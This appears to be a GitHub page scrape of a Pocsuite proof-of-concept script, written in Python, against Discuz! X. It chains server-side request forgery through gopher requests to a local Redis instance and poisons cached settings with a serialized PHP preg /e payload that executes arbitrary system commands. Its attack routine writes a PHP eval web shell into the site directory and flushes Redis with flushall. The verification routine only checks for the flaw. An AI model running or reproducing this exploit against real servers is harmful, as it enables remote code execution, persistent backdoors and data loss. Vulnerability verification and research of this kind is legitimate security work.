-
Notifications
You must be signed in to change notification settings - Fork 15
/
dz_cache_ssrf_codeexec.py
130 lines (107 loc) · 5.15 KB
/
dz_cache_ssrf_codeexec.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#!/usr/bin/env python
# coding: utf-8
import string
import random
import hashlib
import base64
import urlparse
from pocsuite.api.request import req
from pocsuite.api.poc import register
from pocsuite.api.poc import Output, POCBase
class TestPOC(POCBase):
vulID = '91879' # ssvid
version = '1.0'
author = ['p0wd3r']
vulDate = '2016-05-30'
createDate = '2016-06-19'
updateDate = '2016-06-19'
references = ['http://mp.weixin.qq.com/s?__biz=MzI0NjQxODg0Ng==&mid=2247483798&idx=1&sn=65cdf852dffd63b9d4ec41c31d9a5365']
name = 'Discuz!利用SSRF+缓存应用代码执行'
appPowerLink = 'http://www.discuz.net'
appName = 'Discuz!'
appVersion = 'X'
vulType = 'Code Execution'
desc = '''
Discuz!利用SSRF+缓存应用代码执行
'''
samples = ['']
install_requires = ['']
#请尽量不要使用第三方库,必要时参考 https://github.com/knownsec/Pocsuite/blob/master/docs/CODING.md#poc-第三方模块依赖说明 填写该字段
def _attack(self):
result = {}
payload = ('gopher://127.0.0.1:6379/'
'_eval "local t=redis.call(\'keys\',\'*_setting\');'
'for i,v in ipairs(t) do redis.call(\'set\',v,'
'\'a:2:{s:6:\\\"output\\\";a:1:{s:4:\\\"preg\\\";'
'a:2:{s:6:\\\"search\\\";a:1:{s:7:\\\"plugins\\\";'
's:5:\\\"/^./e\\\";}s:7:\\\"replace\\\";'
'a:1:{s:7:\\\"plugins\\\";s:32:\\\"system(base64_decode($_GET[c]));\\\";}}}'
's:13:\\\"rewritestatus\\\";a:1:{s:7:\\\"plugins\\\";i:1;}}\')'
' end;return 1;" 0 %250D%250Aquit')
vul_url = self.url + payload
req.get(vul_url)
web_url = self.url.rpartition('/')
while web_url[2] != urlparse.urlparse(self.url).netloc:
shell_url = web_url[0] + '/forum.php?mod=ajax&inajax=yes&action=getthreadtypes'
rep = req.get(shell_url)
if rep.status_code == 200:
# 该文件作为一句话的话payload会被拦截,且flush后shell会掉,所以用命令马向当前目录写入一句话
flag = ''.join([random.choice(string.digits) for _ in range(8)])
shell_flag = ''.join([random.choice(string.lowercase) for _ in range(8)])
shell_payload = 'echo \'<?php @eval($_POST[c]);echo "' + flag + '";?>\' > ' + shell_flag + '.php'
shell_payload_b64 = base64.b64encode(shell_payload)
req.get(shell_url + '&c=' + shell_payload_b64)
shell_url = web_url[0] + '/' + shell_flag + '.php'
rep = req.get(shell_url)
if rep.status_code == 200 and flag in rep.content:
result['ShellInfo'] = {}
result['ShellInfo']['URL'] = shell_url
result['ShellInfo']['Content'] = '@eval($_POST[c]);'
# 验证后恢复,避免网站无法访问
payload_flush = 'gopher://127.0.0.1:6379/_*1%250D%250A$8%250D%250Aflushall%250D%250Aquit'
recover_url = self.url + payload_flush
req.get(recover_url)
req.get(web_url[0] + '/forum.php')
break
web_url = web_url[0].rpartition('/')
return self.parse_output(result)
def _verify(self):
result = {}
#Write your code here
flag = ''.join([random.choice(string.digits) for _ in range(8)])
payload = ('gopher://127.0.0.1:6379/'
'_eval "local t=redis.call(\'keys\',\'*_setting\');'
'for i,v in ipairs(t) do redis.call(\'set\',v,'
'\'a:2:{s:6:\\\"output\\\";a:1:{s:4:\\\"preg\\\";'
'a:2:{s:6:\\\"search\\\";a:1:{s:7:\\\"plugins\\\";'
's:5:\\\"/^./e\\\";}s:7:\\\"replace\\\";'
'a:1:{s:7:\\\"plugins\\\";s:14:\\\"md5(' + flag + ');\\\";}}}'
's:13:\\\"rewritestatus\\\";a:1:{s:7:\\\"plugins\\\";i:1;}}\')'
' end;return 1;" 0 %250D%250Aquit')
vul_url = self.url + payload
req.get(vul_url)
web_url = self.url.rpartition('/')
while web_url[2] != urlparse.urlparse(self.url).netloc:
poc_url = web_url[0] + '/forum.php?mod=ajax&inajax=yes&action=getthreadtypes'
rep = req.get(poc_url)
flag_hash = hashlib.md5(flag).hexdigest()
if flag_hash in rep.content:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = poc_url
# 验证后恢复,避免网站无法访问
payload_flush = 'gopher://127.0.0.1:6379/_*1%250D%250A$8%250D%250Aflushall%250D%250Aquit'
recover_url = self.url + payload_flush
req.get(recover_url)
req.get(web_url[0] + '/forum.php')
break
web_url = web_url[0].rpartition('/')
return self.parse_output(result)
def parse_output(self, result):
#parse output
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register(TestPOC)